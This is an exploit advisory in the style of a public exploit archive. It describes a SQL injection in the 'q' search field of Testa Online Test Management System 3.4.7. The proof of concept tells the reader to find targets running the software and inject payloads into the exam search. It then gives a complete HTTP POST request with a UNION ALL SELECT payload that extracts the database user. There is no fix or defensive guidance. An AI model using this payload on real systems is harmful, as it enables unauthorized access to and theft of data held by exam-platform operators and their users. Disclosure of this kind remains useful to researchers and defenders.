Testa Online Test Management System 3.4.7 - 'q' SQL Injection

# Exploit Title: Testa Online Test Management System 3.4.7 - 'q' SQL Injection
# Date: 2020-07-21
# Google Dork: N/A
# Exploit Author: Ultra Security Team
# Team Members: Ashkan Moghaddas , AmirMohammad Safari , Behzad Khalifeh , Milad Ranjbar
# Vendor Homepage: https://testa.cc
# Version: v3.4.7 
# Tested on: Windows/Linux
# CVE: N/A

.:: Description ::.
Testa Helps You To make Online Exams.

.:: Proof Of Concept (PoC) ::.
Step 1 - Find Your Target Using Testa - Online Test Management System.
Step 2 - Click on List And Search Exams.
Step 3 - Inject Your Payloads in Search Field.

.:: Sample Request ::.
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Cyberfox/52.9.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: localhost
Cookie: PHPSESSID=7eg4b3fl6vm8a11kmkh4pkq290; testa_user2=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

p=1&q=-1' UNION ALL SELECT 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 #